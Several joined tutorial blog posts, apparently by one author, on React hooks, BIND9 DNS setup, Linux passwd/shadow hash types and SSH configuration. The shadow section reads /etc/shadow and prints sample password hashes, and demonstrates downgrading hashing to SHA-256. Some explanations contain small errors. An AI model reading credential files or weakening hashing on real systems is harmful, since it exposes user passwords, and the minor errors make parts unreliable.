
# React Hooks
When we use React in a `class` base component, we have access to the [state](https://reactjs.org/docs/state-and-lifecycle.html) and [lifecycle method](https://reactjs.org/docs/state-and-lifecycle.html). This is not the case for `functional` component in react. To get the same capabilities as class base component, React introduced `hooks` .

## Hooks
Hooks is basically a `functions` that allows a `functional component` to mimic or make use of the `lifecycle method` and `state`  and other as if we are using a class base component.

Here are the list of available react hooks/functions:
 - useState, allow to use `component-level state` in functional component.
 - useEffect, allow to use `lifecycle methods` in functional component.
 - useContext, allow to use `context` system in functional component.
 - useRef, allow to use `ref` .
 - useReducer, allow to store data tru a `reducer`.

# State With Hooks
Lets take a look at `state` example in a class component.
Here in our class component we make use of the `state` and `setState` from `React.Component` to manage the state of our component.  
```jsx
class Main extends React.Component{
	state = {
		count: 0,
	}
	increaseCounter(){
		this.setState({
			count: this.state.count + 1
		})
	}
	render(){
		return (
			<div>
				<h1>clicks count: {this.state.count} </h1>
				<button onClick={this.increaseCounter.bind(this)}>+</button>
			</div>
		)
	}
}

ReactDOM.render(<Main/>, document.querySelector('#root'));
```

In a functional component, because we are not extending the `React.Component`, we have no access to `state` property and `useState` method to manage our component. To overcome this problem, we use `useState` hook. 

This hook take a `initial value` as an argument, and return an array with two elements.
The array contains a` reference to the current value` of our state and a `reference to a setter function to set the value` for our state.

## useState
Here are the functional component example
```jsx
const {useState} = React; // import {useState} from 'React';
function Main (){
	// we initialize our state with number 0.
	// then the hook returns a property that we assigned named as `count`
	// and a set mehod that we named as `setCount`.
	const [count,setCount] = useState(0); //array destructuring 
	function increaseCounter(){
		setCount(count+1);
	}
	return (
		<div>
			<h1>clicks count: {count} </h1>
			<button onClick={increaseCounter}>+</button>
			<button onClick={()=> setCount(0)}>Reset</button>
		</div>
	) 
}
ReactDOM.render(<Main/>, document.querySelector('#root'));
```
[full code and demo on codesandbox](https://codesandbox.io/s/react-usestate-hooks-example-81fnr2?file=/src/App.jsx)

In the example above, we make use of the `useState()` giving the initial value of 0. The hook then return two elements which we set the first element to a variable called count and the second element to a variable called setCount. Instead of using `setState` to set the value of a state, we now use `setCount` or any name we give to it.

If we want to add another state, we simply add otherline for that state like this
```jsx
function Main(){
	const [count,setCount] = useState(0);
	const [isMax,setIsMax] = useState(false); //here we add another state
	...

}
```
the functional example above is equivalent to the class example below
```jsx
class Main extends React.Component{
	state = {
		count: 0,
		isMax: false,
	}
}
```

### refresher on state
NOTE: Whenever we called `setState` or in this functional component example `setCount` to set our state. The whole component get `re-render` and get updated with the new value.

# Lifecycle with Hooks
 Let's say we are fetching something from external API. When we first presented with the page, we might want to fetch data from an API. It will take a little time for the data to get fetched but when we get the data, we need to change the state of our component. 
 
In class base component we can achieve this behaviour using the `lifecycle methods` . 
Example below are how we might uses `componentDidMount` and `setState` methods in a class base component to achieve the behaviour. We also make use of `componentDidUpdate` method because we implement a nextId button where we fetch next data when we click on the button (think of this like a pagination example ).

```jsx
class Main extends React.Component{
	state = {
		id: 1,
	}
	changeId(n){
		this.setState({
			id: this.state.id + n,
		})
	}

	render(){
		return (
			<div>
				<h1>User: {this.state.id} </h1>
				<button onClick={()=> this.changeId(-1)}> PrevUser </button>
				<button onClick={()=> this.changeId(1)} > NextUser </button>
				<UserDetails id={this.state.id}/>
			</div>
		)
	}
}

class UserDetails extends React.Component{
	state = {
		user: null,
	}
	
	async fetchUser(){
		const response = await 
		(await fetch(
		`https://jsonplaceholder.typicode.com/users/${this.props.id}`
		)).json();
		this.setState({
			user:response
		});
	}
	// this get called once when component mount.
	componentDidMount(){
		this.fetchUser();
	}
	
	/**
	we need to call fetchUser again when the id of parent component get updated.
	this will also get call when we our cmponent get re-render 
	when we run setState.
	**/
	componentDidUpdate(prevProps){
		/**
		componentDidUpdate have a param prevProps which we can use to reference
		previous props. We can use it to check if our id props change
		then we call fetchUser. This is to prevent infinite oops. 
		due to re-render when we use setState.
		**/
		if(prevProps.id !== this.props.id){
			this.fetchUser();
			console.log('Getting User..!');
		}
	}

	render(){
		return (
			<div>
				{
					this.state.user &&
					<ul>
						<li>ID: {this.state.user.id}</li>
						<li>Name: {this.state.user.name}</li>
						<li>UserName: {this.state.user.username}</li>
						<li>Email: {this.state.user.email}</li>
					</ul>
				}
			</div>
		)
	}
}

ReactDOM.render(<Main/>, document.querySelector('#root'));

```

As we can see, we first  make use of the `componentDidMount` method to first making a request to the API. Then we use `setState` method to set the state and re-render our page with the newly fetched data. Without `componentDidUpdate`, if we click the `NextId` button, the UserDetails component will not fetch a user because we only call `fetchUser` once in `componentDidMount`.

Tho, `componentDidUpdate` is usefull, it can caused a problem  such as infinite loop when we call `fetchUser()` because of the `setState` method in it. Thus, we make use of `prevProps` value to conditionally call `fetchUser`.

## useEffect
We can achieve this same behaviour in a functional component using the `useEffect` and `useState` hooks.

```jsx
const {useState, useEffect} = React; // import {useState,useEffect} from 'React';

function Main(){
	const [id,setId] = useState(1);
	const changeId = (n) => {
		setId(id+n);
	}
	return <div>
		<h1>User: {id} </h1>
		<button onClick={()=> changeId(-1)}> PrevUser </button>
		<button onClick={()=> changeId(1)} > NextUser </button>
		<UserDetails id={id}/>
	</div>
}

function UserDetails(props){
	const [user,setUser] = useState(null);
	
	const fetchUser = async () => {
		const response = await 
		(await fetch(
		`https://jsonplaceholder.typicode.com/users/${props.id}`
		)).json();
		setUser(response);
	}

	//here as simple as that
	useEffect(()=>{
		fetchUser();
	},[props.id]);
	
	return <div>
		{
			user && 
			<ul>
				<li>ID: {user.id}</li>
				<li>Name: {user.name}</li>
				<li>UserName: {user.username}</li>
				<li>Email: {user.email}</li>
			</ul>
		}
	</div>
}

ReactDOM.render(<Main/>, document.querySelector('#root'));

```
[full code and demo on codesandbox](https://codesandbox.io/s/react-useeffect-hooks-example-b66ue5?file=/src/components/UserDetails.jsx)

Lets understand how `useEffect()` works. When we set our useEffect like this
```jsx
...
useEffect(()=>{
	fetchUser();
},[props.id]) // watching the value 
...
```
The `useEffect` hooks take two arguments. A callback function and an array contains `values` to watch for.

During the first render it first call the callback containing `fetchUser()` function. then if the component get re-render it` watch` for any changes of  values inside the array, and anytime the value change, it will re-run the callback. 

This behavious is just the same as we previously did using class base component when we check for `prevProps` values.  Here we check for the `id` props value wether it is the same as the previous value. if the value changed then the callback is called.

Using `useEffect` is actually pretty clean if you ask me. We are able to combine both lifecycle method `componentDidMount` and `componentDidUpdate` into single hooks function.

### Note on useEffect
1. What array ?
	if we pass in an empty array to the hooks, the callback function will only run once. 
	```jsx
	useEffect(()=>{
		console.log('running once!');
		fetchUser();
	},[])
	```
	
	if we pass in an `object` to the array, then the callback will get call in an infinite loop, event tho we are not changing the value of the object.
	```jsx
	useEffect(()=>{
		console.log('running multiple times!');
		fetchUser();
	},[{id:props.id}]);
	```
	This effect is due to redux reducer, where everytime we create an object in javascript, different object were created in memory. Thus, everytime we re-render the page. A new object being pass to the array even if we not changing it's value.
	
	In short, anytime the value in the array get change, the callback will get called.
2. Async callback ?
	useEffect doesn't allowed for declaring async function as the callback function.
	```jsx
	useEffect(
		// this is not OK!
		async () => {
			const response = await 
			(await fetch(
			`https://jsonplaceholder.typicode.com/users/${props.id}`
			)).json();
			setUser(response);
		
	},[props.id])
	```
	If we run the above code, we will get an error
	```
	Warning: useEffect must not return anything besides a function, which is used 
	for clean-up.
	```
	The callback functions must not return anything beside a function, if we declare as a async, it will return a promise.
	
	This is also `not` an OK behaviour
	```jsx
	const fetchUser = async () => {
		const response = await 
		(await fetch(
		`https://jsonplaceholder.typicode.com/users/${props.id}`
		)).json();
		setUser(response);
	}
	//this is not ok,
	useEffect(fetchUser,[props.id]);
	```
	Instead we need to execute the async function inside a regular function like we previously did or like this.
	```jsx
	useEffect(()=>{
		const fetchUser = async () => {
			const response = await 
			(await fetch(
			`https://jsonplaceholder.typicode.com/users/${props.id}`
			)).json();
			setUser(response);
		}
		fetchUser();
	},[props.id]);
	```

## Create Our Own Custom Hooks
Using above example, we can make our code more cleaner and reusable by extracting some functionalities into seperate functions. As you may known, hooks is just a function. So lets try refactor our code and create a seperate hooks for fetching user.

```jsx
const {useState, useEffect} = React; // import {useState,useEffect} from 'React';

// here we define our custom hooks to fetch user.
// we detached the code from the UserDetails Component, so that 
// it can be re-usable by another component.
// our UserDetails component end up becoming more clean.

function useUser(id){
	const [user,setUser] = useState(null);
	//here as simple as that
	useEffect(()=>{
		(async () => {
			const response = await 
			(await fetch(
			`https://jsonplaceholder.typicode.com/users/${id}`
			)).json();
			setUser(response);
		})();
		
	},[id]);

	//here we return fetched user
	return user;
}

function Main(){
	const [id,setId] = useState(1);
	const changeId = (n) => {
		setId(id+n);
	}
	return <div>
		<h1>User: {id} </h1>
		<button onClick={()=> changeId(-1)}> PrevUser </button>
		<button onClick={()=> changeId(1)} > NextUser </button>
		<UserDetails id={id}/>
	</div>
}

// we detached all those useState, and useEffect hooks 
// making it into a single hooks, thus making our component
// more clean.
function UserDetails(props){
	// here we call our custom hooks 
	const user = useUser(props.id);	
	return <div>
		{
			user && 
			<ul>
				<li>ID: {user.id}</li>
				<li>Name: {user.name}</li>
				<li>UserName: {user.username}</li>
				<li>Email: {user.email}</li>
			</ul>
		}
	</div>
}

ReactDOM.render(<Main/>, document.querySelector('#root'));
```
[full code and demo on codesandbox](https://codesandbox.io/s/react-custom-hooks-example-5wykdk?file=/src/hooks/useUser.jsx)

# Ref with hooks
in react, ref system allows us the developer, to access DOM element just like we access it in vanilla js.
```js
const el = document.querySelector("#myElement");
```

To access the dom in a class component is to use the `React.createRef()` method and assign it to a variable. Then we reference that variable from the jsx element.
```jsx
class Main extends React.Component{
	constructor(props){
		super(props);
		this.myRef = React.createRef();
	}

	render(){
		return (
			<div>
				<input ref={this.myRef}>
			</div>
		)
	}
}
```

Let's use our UserDetails example, from `create custom hooks example`, and change it a litle bit to make use of `ref`. For the sake of simplicity, we are only changing the Main component.

In a class base component it will look like this
```jsx
class Main extends React.Component{
		constructor(props){
		super(props);
		this.state = {
			id: 1,
		}
		// here we declare our reference
		this.idsRef = React.createRef();
		this.ids = [...Array(10).keys()];
	}

	changeId(){
		// here we accessing the DOM value.
		const value = this.idsRef.current.value;
		if(value !== ''){
			this.setState({
				id: value,
			})
		}
	}

	render(){
		return (
			<div>
				<h1>User: {this.state.id}</h1>
				<label htmlFor="ids" >Select id: </label>
				<select
					onChange={this.changeId.bind(this)}
					ref={this.idsRef} //we use ref
					name="ids"
					id="ids"
				>
					{
						this.ids.map(id=>(
							<option key={id+1} value={id+1}>
								{id+1}
							</option>
						))
					}
				</select>
				<UserDetails id={this.state.id} />
			</div>
		)
	}
}
```

## useRef
For a functional component example, we use `useRef` hooks to implement the same behaviour.
```jsx
const {useState,useRef} = React;
function Main(){
	const [id,setId] = useState(1);

	//here we declare our reference
	const idsRef = useRef('');
	const ids = [...Array(10).keys()];

	const changeId = () =>{
		const value = idsRef.current.value;
		if(value !== ''){
			setId(value);
		}
	};

	return (
		<div>
			<h1>User: {id}</h1>
			<label htmlFor="ids" >Select id: </label>
			<select
				onChange={changeId}
				ref={idsRef} // here we use ref
				name="ids"
				id="ids"
			>
				{
					ids.map(id=>(
						<option key={id+1} value={id+1}>
							{id+1}
						</option>
					))
				}
			</select>
			<UserDetails id={id} />
		</div>
	)
}
```

As simple as that. [full code and demo on codesandbox](https://codesandbox.io/s/react-useref-hooks-example-oxnxjx?file=/src/App.jsx)

# End ?
In my next post, I will talk some more about context and redux, and I will be showing some example on how to use context in class and functional component.




React Hooks Basic


# What is DNS
You can read more about DNS [here](https://www.cloudflare.com/learning/dns/what-is-dns/). But in short, DNS is a service that translate domain name into IP address. 
It is like the old yellow phone book that map name to number that we can contact.

Computer communicate using IP address. A domain name is just something we used to make user's life easier (not have to remember the IP address). 
Everytime a request to a server being made, our machine perform a DNS query to a DNS server to get the IP address of the server. Once we know the IP address of the server, we can then start the connection.

# Types of DNS Queries
1. Recursive
	- this type of query received a query, and `help` finding the resolved answer. if it doesn't find the address for the domain in its own list. It will send a query to another DNS server asking for the address of the domain. After it find the answer it then return it to the us the client.
2. Iterative
	- this type of query will `not help` us finding the answer if it doesn't know the address. Instead it will refer us to another DNS servers. We the client then perform another query to the new DNS server that migh have the answer.
# DNS Forwarder
A [fowarder](https://medium.com/tech-jobs-academy/dns-forwarding-and-conditional-forwarding-f3118bc93984) is a server that will be use by our server to forwarder queries if our own DNS server can't find the answer. It usually used to seperate the internal name queries with external. 

As example the domain `usm.my` have the `ns.usm.my` DNS server. This DNS server only store tha domain information related to it internal zones such as `cs.usm.my`, `bio.usm.my`. If the client asking for something that is not within the zones it will then forward the request to the forwarder.

Let's say the forwarder set in the `ns.usm.my` config is the cloudflare DNS server `1.1.1.1` and the google DNS server `8.8.8.8` and `8.8.4.4`.  When we query for `nurbxfit.com` using the `ns.usm.my` as our DNS server,  it will first find if it in it primary zones -> secondary zones -> cache. If it doesn't know the answer, it will then foward the query to forwarder set in the config recursively. The `ns.usm.my` dns server will then return the answer to the client if it is able to resolve the address of `nurbxfit.com`. 

If in case the server didn't find the answer, it will then attempt to resolve it using the iterative queries by refer us the client to another DNS server that might know the answer.

# Getting a domain name
Anyone with an internet connection can host their own server on the internet. As long as the client know the address to connect to the server. Without a domain name, a server can be hard to reach and not really accessible.

Like in life, to get public identifiable name that associate with us, we first need to register it so that it is `uniquely identifiable` to us. For a server on internet, we first need to register our domain name with a [domain registrar](https://www.cloudflare.com/learning/dns/glossary/what-is-a-domain-name-registrar/). The domain registrar acts as a domain dealership that `rent us` a domain name and then help use register the domain to the domain registry.

## Popular Domain Registrar
- [Google](https://domains.google/intl/en/?gclid=Cj0KCQjwio6XBhCMARIsAC0u9aHmUq4tvqoDXhaaxmsY5LMbsdzUTcQyZ811Bq3G7PxxYuAsUvmeeNwaAmkLEALw_wcB&gclsrc=aw.ds)
- [GoDaddy](https://www.godaddy.com/en-my/offers/domain?isc=gotnmy01&countryview=1&currencyType=MYR&cdtl=c_17614968941.g_140763174600.k_aud-763472571342:kwd-88659201.a_607027059569.d_c.ctv_g&bnb=b&gclid=Cj0KCQjwio6XBhCMARIsAC0u9aFosO7DqeyDNkzRywKFOG-tHIJHJd6Gkywtl69Pza-PBQpZ4vBqi3UaAsglEALw_wcB)
- [NameCheap](https://www.namecheap.com/)

#### some hosting provider in malaysia also provides domain name registration:
- [exabytes](https://www.exabytes.my/domains)
- [yeahhost](https://www.yeahhost.com.my/domain)
- [mynic](https://mynic.my/)

#### Some free domain 
There are some domain name that are free to register that usually ends with 
- .tk 
- .ml
- .ga
- .cf

to get a domain name, we simply go the the registrar and rent our domain name, how to rent is vary depend on each registrar. After we rent our domain name, we simply have the right to use the domain. The domain name is still not associated with our server, that we need to set it up ourself using the [Authoritative DNS server](https://www.cloudns.net/blog/authoritative-dns-server/).  Usually while renting our domain name, we will be prompt to specify the nameserver and its ip address of our authoritative DNS server. After that we need to configure our Authoritative DNS server to map the domain name to a machine ip address.

#### Checking for Authoritative DNS server
to check for authoritative DNS server of a domain name, we can use type `ns` options of `dig` command and check the `;;ANSWER SECTION`.
```bash
jun@client:~$ dig -t ns cs.usm.my
.....
;; ANSWER SECTION:
cs.usm.my.		28800	IN	NS	ns2.usm.my.
cs.usm.my.		28800	IN	NS	ns.usm.my.
.....
```
as we can see `cs.usm.my` 's authoritative DNS server is `ns.usm.my `and `ns2.usm.my`



# Hosting DNS server using [BIND9](https://www.isc.org/bind/)
Lets us first ssh into our server and install the required dependencies 
```bash
jun@server:~$ sudo apt update && sudo apt install bind9 bind9utils bind9-doc
```
By default bind will automatically start after the installation.
If bind does not start, we can start it using `systemctl`.
```bash
jun@server:~$ systemctl start bind9
```
#### Note
The name of the software we are using as our DNS service is called bind9. While the name of the deamon process running from the software is called `named`.

To find the running bind process we can use `ps`
```bash
jun@server:~$ sudo ps -ef | grep named
```
We can see the process `/usr/bin/named -f -u bind` running.


# BIND9 Configuration
Bind main configuration file is located in `/etc/bind/named.conf`.
Looking at the file we can see that it include other file such as:
- `/etc/bind/named.conf.options`
- `/etc/bind/named.conf.local`
- `/etc/bind/named.conf.default-zones`

If we read the content of main config file `named.conf`, it says that if we want add a DNS zones, we can edit the `named.conf.local` file. Here is where we add the information about our newly rent domain name. 

The `named.conf.options` contains general options for the server such as the interface the service is listening on or the DNS forwarder list.

## using IPv4
to configure our bind9 to use IPv4 address, make a change to the startup options by adding the `-4` to tell the server to use IPv4. If we want to use IPv6, simply change `-4` to `-6`. 

To make change to the startup options, open the following file `/etc/default/named` and change the `OPTIONS`  value with the following
```
# startup options for the server
OPTIONS=" -u bind -4"
```
the `-u bind` opitions define that we start our bind service with the user `bind`.
We can now save our changes and restart our services
```bash
jun@server:~$ systemctl restart bind9
```

## using forwarder
To set a fowarder for our DNS server, open the `/etc/bind/named.conf.options` and add the address of our forwarder like this.
```
forwarders {
	1.1.1.1;
	8.8.8.8;
	8.8.4.4;
}
```
Then we can restart our service. If our server doesn't know the answer for the request, it will then use the forwarder to get the answer.

# Assign our domain to our DNS server
Now that we have a DNS server running, we can start making our DNS server as the `Authoritative DNS server` for the new domain name we purchased. 

## Adding new zone
lets add a new zone to our `/etc/bind/named.conf.local`. 
```
zone "nurbxfit.com" {
	type master;
	file "/etc/bind/db.nurbxfit.com";
}
```
Here we just added a zone for our domain nurbxfit.com with type master and then we specify the [zone file](https://www.cloudflare.com/learning/dns/glossary/dns-zone/#:~:text=What%20is%20a%20DNS%20zone%20file%3F,every%20domain%20within%20the%20zone.). 

> A zone file is a plain text file stored in a DNS server that contains an actual representation of the zone and contains all the records for every domain within the zone

After we added a new zone entry in our local config, we can then create our zone file using a template 
```bash
jun@server:~$ sudo cp /etc/bind/db.empty /etc/bind/db.nurbxfit.com
```

#### About Zone file
More about [Zone file](https://en.wikipedia.org/wiki/Zone_file#:~:text=The%20zone%20file%20contains%20mappings,contents%20of%20a%20DNS%20cache). In short zone file is the text file that describe a DNS zone.
Zone file format is like this
```
name | record class | ttl | record type | record data

; in zone file a comment start with smicolon ;
```
- The `name` field may be left blank. If so, the record inherits the field from the previous record. A free standing `@` is used to denote the `current origin` or our base domain.
- The `ttl` field specifies the `number of seconds` after which a caching client must discard the record and perform a new resolution operation to obtain fresh information. if we left it blank, it will be set to default TTL (if defined).
- The `record class` field indicates the namespace of the record information. The most commonly used namespace is that of the Internet, indicated by parameter `IN`.
- The `record type` field is an abbreviation for the type of information stored in the last field, `record data`. Example: `MX`, `NS`, `A`,`AAAA`,`CNAME`,`SOA`
- The `record data` may consist of iformation elements depends on the `record type`. 

### Editing our zone file
open our zone file `/etc/bind/db.nurbxfit.com` and add the following information about our new domain
```
; firstly this is a comment
; below is the Time to live TTL.
$TTL 86400

; we first need to specify the Source of Authoritative (SOA) record for our domain
@ IN SOA ns1.nurbxfit.com. root.localhost. (
	1 ; Serial (when we made changes to config, increment this value)
	604800 ; Refresh
	86400 ; Retry
	2419200 ; Expire
	86400 ; Negative Cahce TTL
)

; then we define the nameserver (NS) record
@ IN NS ns1.nurbxfit.com. 

; then we specify a subdomains
; this means ns1.nurbxfit.com has ip of 76.76.21.21
ns1           IN A    76.76.21.21 

; this if we want to set a mail service.
mail          IN MX   10 mail.nurbxfit.com. 

; tell that nurbxfit.com have ip of 76.76.21.21
nurbxfit.com. IN A 76.76.21.21 

; add www subdomain
www           IN A 76.76.21.21

; lets say we have a subdomain that point to other ip address
portfolio     IN A 202.170.58.62
```

# Checking for configuration error
Before we restart our DNS service, we can first check for error for our `named.conf`
```
jun@server:~$ named-checkconf
```
We can also check for any error in our `zone file`
```
jun@server:~$ named-checkzone nurbxfit.com /etc/bind/db.nurbxfit.com
```
if there is no error shown in the ourput of following command, we can now restart our service.

# Checking if our DNS working
We can check if our DNS server is working using `dig` command. we can ask our server if it can resolve the domain name.

Lets try resolvve the domain name `nurbxfit.com` using the `-t a` and use the `@` followed by our `dns server address` and the domain name.
```bash
jun@server:~$ dig -t a @localhost nurbxfit.com
```
Here is another example where we use dig to check if `ns.usm.my` dns server can find the domain `cs.usm.my`.
```bash
jun@client:~$ dig -t a @202.170.56.75 cs.usm.my
....
;; ANSWER SECTION:
cs.usm.my.		3600	IN	A	202.170.57.170
....
```
As we can see the dns server can resolve the domain `cs.usm.my` to the ip address `202.179.57.170`.
To verify this, we can use reverse lookup, to resolve the ip address to a domain name.
```bash
jun@client:~$ dig -x 202.170.57.170
....
;; ANSWER SECTION:
170.57.170.202.in-addr.arpa. 3600 IN	PTR	osscentral3.usm.my.
170.57.170.202.in-addr.arpa. 3600 IN	PTR	usmkpt.edu.my.
170.57.170.202.in-addr.arpa. 3600 IN	PTR	cs.usm.my.
170.57.170.202.in-addr.arpa. 3600 IN	PTR	voicingconcern.net.my.
....
```
alternatively we can use `nslookup`
```bash
jun@client:~$ nslookup 202.170.57.170

170.57.170.202.in-addr.arpa	name = voicingconcern.net.my.
170.57.170.202.in-addr.arpa	name = cs.usm.my.
170.57.170.202.in-addr.arpa	name = usmkpt.edu.my.
170.57.170.202.in-addr.arpa	name = osscentral3.usm.my.
```

# Waiting
after we configure our DNS server, we must wait for the DNS record to [propagate](https://ns1.com/resources/dns-propagation) across the internet.

Setup a DNS Server and Domain Name


# Passwd File
In linux system, we can view list of users by looking at the `/etc/passwd` file.
this show list of users in the following format.
```bash
jun@cserver:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
.......
jun:x:1000:1000:jun:/home/jun:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

```

This file use columns seperated format, where the first column indicate the `user name`, followed by the `user password`, and then the `user id`, `user group id`, `user id info`, `home folder` and `command shell`.
```bash
jun:x:1000:1000:jun:/home/jun:/bin/bash
```
From the example above the value are.
- user_name: `jun`
- user_password: `x` . indicate encrypted shadow password were used.
- user_id : `1000` . we can run `id` command to verify.
- user_group_id: `1000`
- user_id_info : `jun`, just the info about our user such as fullname or [GECOS](https://en.wikipedia.org/wiki/Gecos_field) information.
- home_folder : `/home/jun`
- command_shell: `/bin/bash`

In traditional unix system, where shadow suite aren't used, we can see encoded user's password stored in this file instead of `x`. This is a huge security nowadays because this `/etc/passwd` file is accessible by anyone using the operating system. 

It was not a big deal back then because the encryption used was consider strong because computer back then are not as fast to brute-force guessing the password.

# Shadow File
Nowadays, the actual encrypted password are stored in the `/etc/shadow` file where it can only be read by `root`. Looking into the `shadow` file we can see the encrypted passwod field after the username column.

```bash
jun@cserver:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
jun@cserver:~$ sudo cat /etc/shadow
[sudo] password for jun: 
...
jun:$6$zjGHnUx3xdvygQFF$f1SCFlSuvxuveg8IjBauLaeWNaVoxIxcHpIhZHzfErnrPcTYDmJCNKZFu4xp1w5LmqOt6QmmOXLDgSHs2IX9X/:19155:0:99999:7:::
lxd:!:19155::::::
```
- Sometimes, if an account is being `locked`, the password column will have two exclamation sign `!!` instead of the encrypted password.

In this example, our hashed password look something like this,
```
$6$zjGHnUx3xdvygQFF$f1SCFlSuvxuveg8IjBauLaeWNaVoxIxcHpIhZHzfErnrPcTYDmJCNKZFu4xp1w5LmqOt6QmmOXLDgSHs2IX9X/
```


Noticed that the beginning of the hash there is a `$` symbol enclosing the number.
```
$6$.....
```
The number between the  dollar sign `$` indicate the `hash algorithm` type used to hash the password. 

## Linux Hash Types.
Linux supports multiple hashing algorithms. The algorihm are prefixed by number and sometimes a combination of number and letter.

```
| Prefix 	| Hash Type 	|
|---	    |---	        |
| 1 	    | MD5 	        |
| 2a 	    | Blowfish 	    |
| 2y 	    | Blowfish 	    |
| 5 	    | SHA-256 	    |
| 6 	    | SHA-512 	    |
```
Based on the previous example, we know that our Linux system use `$6$` which is the [SHA-512](https://komodoplatform.com/en/academy/sha-512/) algorithm.

we can change this algorithm using `authconfig` command or making change to `/etc/pamd.d/password-auth` for RHEL base system. 

For ubuntu based system we can edit the `/etc/pam.d/common-password` file.

Looking at `/etc/pam.d/common-password` file we can change the algorithm by change the `pm_unix.so obscure sha512` to `pm_unix.so obscure sha256` instead for example. Tho SHA-512 is better than SHA-256.

Open the file using vim We will see this. 

```
#
# /etc/pam.d/common-password - password-related modules common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define the services to be
# used to change user passwords.  The default is pam_unix.

# Explanation of pam_unix options:
#
# The "sha512" option enables salted SHA512 passwords.  Without this option,
# the default is Unix crypt.  Prior releases used the option "md5".
#
# The "obscure" option replaces the old `OBSCURE_CHECKS_ENAB' option in
# login.defs.
#
# See the pam_unix manpage for other options.

# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.

# here are the per-package modules (the "Primary" block)
password        [success=1 default=ignore]      pam_unix.so obscure sha512
# here's the fallback if no module succeeds
password        requisite                       pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
password        required                        pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config

```
then we can search using `/sha512`, and then change the value and save.
```
# here are the per-package modules (the "Primary" block)
# password        [success=1 default=ignore]      pam_unix.so obscure sha512
password        [success=1 default=ignore]      pam_unix.so obscure sha256
```
After making change to this file, if we create a new user, the new hashing algorithm will be used instead.
```
jun@cserver:~$ sudo useradd -m test256User
jun@cserver:~$ sudo passwd test256User
New password: 
Retype new password: 
passwd: password updated successfully
```
When we look at the newly created user, in our `shadow` file we can see that `$5$` is now being used.
```
jun@cserver:~$ sudo cat /etc/shadow
....
test256User:$5$xXPHlf/4.D28yH/s$NYMP44ShERd5xgjho3i.Snd4Fa3aU601u41rwPn2gm6:19155:0:99999:7:::
```
Noted that, only new user are using the new hash algorithm. 

To make other user use the new algorithm, we can ask the user to change their password. We can do this using `chage` command to `set date of last password change` to `0`. This will prompt the user asking them to change password during their next login.

In the example below, we ask  user, `jun` to change his password 
```
root@cserver:~# chage -d 0 jun
```
alternatively we can use the `passwd` command and set it to `expire`
```
root@cserver:~# passwd --expire jun
```

Linux shadow file hash type

# SSH
SSH (Secure Shell) is a network protocol that allow us to operate over the network securely. It allows us to remote login to a server thru a secure encrypted network tunnel. It also can be use as remote command-line execution and remote file transfer. It is the replacement for the less secure Telnet protocol which use plaintext transmission.

# Shell
A shell is a computer program, text-based environment that provide an interface for user to execute commands to the operating system and returned operating system output. [Bash](https://www.gnu.org/software/bash/) and [z-sh](https://en.wikipedia.org/wiki/Z_shell) are few of the shells interface that allows us to use text based command to interact with our system.

```bash
jun@b:~$ bash --version
GNU bash, version 5.0.17(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
```
Shell is a very efficient way of managing remote system, as it requires less data transfer due to its text-base nature. To securely manage remote headless server, we need a SSH service running on the remote server, and a SSH client program on our machine. Commonly used SSH program is [OpenSSH](https://www.openssh.com/).

# Installing OpenSSH
Most cloud base linux OS probably had a ssh services intalled, if not we can install it using package manaeger in our Linux Server.

In ubuntu base OS we can use the following command.
```
jun@server:~$ sudo apt update && sudo apt install openssh-server
```
In other linux system like red hat, centos or fedora we can use `dnf` package manager. On arch linux we can use `pacman`.

# Managing SSHd aemon
We can manage our ssh service using `systemctl`.
To check if the service is running, we use 
```bash
jun@server:~$ systemctl status sshd
```

To start our services we use,
```
jun@server:~$ systemctl start sshd
```

To stop our service we use,
```
jun@server:~$ systemctl stop sshd
```
To enabe ssh service on system boot we can use `enable` or `disable` to disable it.
```
jun@server:~$ systemctl enable sshd
```

By default, ssh service running on port 22. We might need to update our firewall rules to allow access to TCP port 22. In ubuntu based system, we can use [ufw](https://www.linode.com/docs/guides/configure-firewall-with-ufw/) to manage our firewall.

We can check if our firewall is up and running using,
```
jun@server:~$ sudo ufw status
```
If our firewall is inactive, we can just let it be, because It will not block any connection including our ssh connection. 

Doing this make our server be less secure. So in this example, I will enable firewall and open port 22 for our ssh connection.

To enable firewall in our server we write,
```
jun@server:~$ sudo ufw enable
```
Then, we can allow shh using following command.
```
jun@server:~$ sudo ufw allow ssh
```
we can check the status again using 
```
jun@server:~$ sudo ufw status

Status: active

To                  Action      From
--                  ------      ----
22/tcp              ALLOW       Anywhere
22/tcp (v6)         ALLOW       Anywhere (v6)
```

# SSH config 
The default config file for our ssh `server` can be found in
```
/etc/ssh/sshd_config
```
For ssh `client` the default config file is in
```
/etc/ssh/ssh_config
```
To configure our ssh server, we can make change to the `sshd_config` file or we can create a new config files inside the `/etc/ssh/sshd_config.d/` directory. 

We can name our file anything, but it is advisable to name it using the `<number><string>.conf` combination as sshd will include these files based on the sorting of the filename. 

By naming our file to `01portsetting.conf` will include this file first, if we also have `02portsetting.conf` and both of these files contains configuration for `Port `.

Because only the top most included setting will be applied which is from `01portsetting.conf` and the second will be ignore. So it is importand to name our file based on the priority.  

We can perform various other configuration by looking at the [sshd_config man page](https://linux.die.net/man/5/sshd_config).
```
jun@server:~$ man sshd_config
```

## Authentication config basic
Few authentication config we can change for our sshd server
```conf
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PasswordAuthentication yes
#PubKeyAuthentication yes

#AllowUser jun user2 amir amal 
#DenyUser james john weirduser
#AllowGroup admins developers
#DenyGroup finance sales
```
- `LoginGraceTime` is the time we can set, on how long the time a client have to give their password, started when asked by the server.
